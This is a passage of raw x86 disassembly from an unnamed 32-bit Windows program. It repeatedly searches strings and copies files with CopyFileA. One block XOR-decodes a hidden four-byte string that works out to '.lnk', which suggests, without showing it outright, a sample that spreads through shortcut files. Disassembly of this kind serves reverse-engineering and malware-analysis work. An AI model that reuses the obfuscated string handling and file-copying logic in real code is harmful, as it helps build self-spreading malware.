cmp al, byte [edx + 2]
jne 0x45a925
cmp esi, 0xffffffff
je 0x45a92c
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x45a92c
sbb eax, eax
or eax, 1
jmp 0x45a92e
xor eax, eax
test eax, eax
je 0x45a950
mov eax, dword [ebp - 0x74]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x34]
push edi
call fcn.004fb3e0
mov esi, dword [ebp - 0x58]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x45a8d8
jmp 0x45a96e
sub edi, dword [ebp - 0x14]
cmp edi, 0xffffffff
je 0x45a96e
mov esi, dword [ebp - 0x58]
push 0
lea eax, [ebp - 0x50]
push eax
push esi
push edi
lea ecx, [ebp - 0xc8]
call fcn.004822c0
mov edi, dword [ebp - 0x18]
cmp byte [ebp - 0xe], 0
mov byte [ebp - 4], 0x24
je 0x45a9a7
mov ecx, dword [ebp - 0x54]
mov eax, edi
inc ecx
cmp ecx, 0x1000
jb 0x45a99d
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45afc4
push ecx
push edi
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x10
jb 0x45a9df
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45a9d5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45afc4
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x45ac9e
mov edx, dword [ebp - 0x50]
jmp 0x45ac75
mov ecx, esi
mov dword [ebp - 0x20], 0
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x1c], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45aa10
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x30]
call fcn.00402b20
mov byte [ebp - 4], 0x26
xorps xmm0, xmm0
mov dword [ebp - 0x10b], 0x858380c5
xor ecx, ecx
movq qword [ebp - 0x107], xmm0
mov byte [ebp - 0xff], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x10b], al
inc ecx
cmp ecx, 4
jb 0x45aa45
mov dword [0x558588], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x10b]
mov byte [ebp - 0x107], 0
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x40], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45aa81
sub ecx, edx
lea eax, [ebp - 0x10b]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402b20
mov byte [ebp - 4], 0x27
lea edx, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
xorps xmm0, xmm0
movups xmmword [ebp - 0x68], xmm0
cmovae edx, dword [ebp - 0x50]
mov ecx, edx
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45aac3
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x68]
call fcn.00402b20
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x68]
cmp dword [ebp - 0x54], 0x10
lea edx, [ebp - 0xc8]
mov edi, dword [ebp - 0x68]
mov esi, dword [ebp - 0x58]
cmovae ecx, edi
mov eax, dword [ebp - 0xb8]
setae byte [ebp - 0xe]
cmp dword [ebp - 0xb4], 0x10
mov dword [ebp - 0x18], edi
cmovae edx, dword [ebp - 0xc8]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x34], edx
cmp esi, eax
ja 0x45abf8
sub eax, esi
test esi, esi
jne 0x45ab26
xor edi, edi
jmp 0x45abd9
movsx ecx, byte [ecx]
inc eax
add eax, edx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x38], eax
sub eax, edx
push eax
push ecx
push edx
call fcn.004fb3e0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x45abf5
nop dword [eax]
mov edx, dword [ebp - 0x14]
mov ecx, edi
sub esi, 4
jb 0x45ab71
nop word [eax + eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x45ab76
add ecx, 4
add edx, 4
sub esi, 4
jae 0x45ab60
cmp esi, 0xfffffffc
je 0x45abaa
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x45aba3
cmp esi, 0xfffffffd
je 0x45abaa
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x45aba3
cmp esi, 0xfffffffe
je 0x45abaa
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x45aba3
cmp esi, 0xffffffff
je 0x45abaa
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x45abaa
sbb eax, eax
or eax, 1
jmp 0x45abac
xor eax, eax
test eax, eax
je 0x45abce
mov eax, dword [ebp - 0x38]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x74]
push edi
call fcn.004fb3e0
mov esi, dword [ebp - 0x58]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x45ab50
jmp 0x45abf5
sub edi, dword [ebp - 0x34]
cmp edi, 0xffffffff
je 0x45abf5
mov esi, dword [ebp - 0x58]
cmp dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x30]
push dword [ebp - 0x20]
cmovae eax, dword [ebp - 0x30]
lea ecx, [ebp - 0xc8]
push eax
push esi
push edi
call fcn.004822c0
mov edi, dword [ebp - 0x18]
cmp byte [ebp - 0xe], 0
mov byte [ebp - 4], 0x27
je 0x45ac2e
mov ecx, dword [ebp - 0x54]
mov eax, edi
inc ecx
cmp ecx, 0x1000
jb 0x45ac24
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45afc4
push ecx
push edi
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x45ac66
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45ac5c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45afc4
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x10
jb 0x45ac9e
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45ac94
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45afc4
push ecx
push edx
call fcn.004f7c11
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0xac]
mov ecx, esp
push eax
call fcn.0047faa0
call fcn.0040c030
add esp, 0x18
mov esi, eax
jmp 0x45acbe
mov esi, dword [ebp - 0x18]
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0xd0]
cmp ecx, 0x10
jb 0x45acfc
mov edx, dword [ebp - 0xe4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45acf2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45afc4
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov eax, esi
test esi, esi
je 0x45ad4d
cmp eax, dword [ebp - 0xcc]
ja 0x45ad4d
jmp 0x45ad0f
mov esi, dword [ebp - 0x18]
cmp dword [ebp - 0xb4], 0x10
lea ecx, [ebp - 0xc8]
push 0
cmovae ecx, dword [ebp - 0xc8]
lea eax, [ebp - 0xac]
cmp dword [ebp - 0x98], 0x10
push ecx
cmovae eax, dword [ebp - 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x45ad4d
mov eax, dword [ebp + 0x38]
inc dword [ebp - 0x6c]
add dword [eax], esi
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x98]
cmp ecx, 0x10
jb 0x45ad8b
mov edx, dword [ebp - 0xac]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45ad81
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45afc4
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x98], 0xf
mov byte [ebp - 0xac], 0
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0xb4]
cmp ecx, 0x10
jb 0x45ade4
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45adda
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45afc4
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x7c]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x80]
sub ecx, esi
mov edi, dword [ebp - 0xb0]
imul ecx
inc edi
sar edx, 2
mov eax, edx
mov dword [ebp - 0xb0], edi
shr eax, 0x1f
add eax, edx
cmp edi, eax
jb 0x459ef0
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 3
call fcn.00481d80
mov edi, dword [ebp - 0x6c]
test edi, edi
jg 0x45aeb3
cmp byte [ebp - 0xd], 0
je 0x45aeb3
cmp dword [ebp + 0x34], 0x10
lea edx, [ebp + 0x20]
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0
cmovae edx, dword [ebp + 0x20]
mov ecx, edx
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x50], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45ae58
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x50]
call fcn.00402b20
push ecx
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x29
call fcn.0040c680
mov byte [ebp - 4], 3
add esp, 4
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x45aeb3
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45aea9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45afc4
push ecx
push edx
call fcn.004f7c11
add esp, 8
lea eax, [ebp + 0x20]
push eax
lea eax, [ebp - 0x80]
push eax
call fcn.0048b110
mov esi, dword [ebp - 0x78]
cmp byte [esi + 0xd], 0
jne 0x45aef3
cmp dword [esi + 0x24], 0x10
lea eax, [esi + 0x10]
mov edx, dword [eax + 0x10]
jb 0x45aed7
mov eax, dword [eax]
cmp dword [ebp + 0x34], 0x10
lea ecx, [ebp + 0x20]
push edx
cmovae ecx, dword [ebp + 0x20]
mov edx, dword [ebp + 0x30]
push eax
call fcn.00485070
add esp, 8
test eax, eax
jns 0x45aef9
mov esi, dword [0x558640]
lea eax, [ebp + 0x20]
push eax
cmp esi, dword [0x558640]
jne 0x45af0e
call fcn.0047c990
mov dword [eax], edi
jmp 0x45af15
call fcn.0047c990
add dword [eax], edi
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x45af49
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45af3f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45afc9
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp ecx, 0x10
jb 0x45af8b
mov edx, dword [ebp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45af81
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45afc9
push ecx
push edx
call fcn.004f7c11
add esp, 8
lea ecx, [ebp + 0x3c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
call fcn.00481d80
lea ecx, [ebp + 0x48]
call fcn.00481d80
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00402390
call fcn.004fceb0
call fcn.004fceb0
int3